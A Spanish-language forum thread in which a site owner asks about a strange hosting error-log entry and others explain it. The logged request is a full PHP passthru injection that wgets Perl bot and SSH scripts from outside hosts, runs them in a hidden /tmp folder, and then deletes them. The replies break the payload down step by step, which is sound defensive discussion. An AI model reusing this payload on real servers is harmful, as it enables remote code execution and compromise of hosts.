Log curioso

[Gerald]

Que significa esto que halle en mi log de mi hosting

[Thu Dec 30 05:41:03 2004] [error] [client 81.169.171.98] File does not exist: /usr/local/psa/home/vhosts/misitio.com/httpdocs/blog&rush=echo _START_; killall -9 perl;cd /tmp;mkdir .temp22;cd .temp22;wget http://www.abcft.org/themes/bot.htm;wget http://http://weblicious.com/.notes/ssh2.htm;perl ssh2.htm;rm ssh.htm;perl bot.htm;rm bot.htm; echo _END_&highlight=%27.passthru($HTTP_GET_VARS[rush]).%27';

[jariza]

Hola,

Yo no soy experto en esto, pero el log no tiene buena pinta. Parece como si hubiesen querido ejecutar comandos en tu máquina.
Esto es lo que yo veo:

killall -9 perl -> parar los procesos relacionados con PERL.
cd /tmp -> Se va al directorio tmp.
mkdir .temp22 -> Crea el directorio temp22 dentro de tmp.
cd .temp22 -> Se va al directorio creado.
wget http://www.abcft.org/themes/bot.htm -> Descarga el archivo bot.htm.
wget http://http://weblicious.com/.notes/ssh2.htm -> Descarga el arcivo ssh2.htm
perl ssh2.htm -> Ejecuta el script PERL ssh2.htm
rm ssh.htm -> Borra ssh.htm
perl bot.htm -> Ejecuta el script PERL bot.htm
rm bot.htm -> Borra bot.htm (script ejecutado).

Yo diría que están intentando dejar un acceso SSH a tu máquina y poner un bot (que algo hará).

... ¿o soy muy alarmista? ...

Me corrijan los maestros si me equivoco.

Saludos.

[PatomaS]

Hola

Pues la verdad es que así rapidamente yo diría algo muy parecido...

me choca la parada de cosas perl para luego llamarlo.

También me llama la atención que la ip reporta dos sitios completamente diferentes si hace un tracert y si se navega...

Pero bueno, ya ´dirán algo los expertos...

;)

Felicidad

[Gerald]

Gracias a todos, este log , lo encontre en log de errores, en si no llegaron a lograr su cometido pero me dejo con la duda.
Gracias a Todos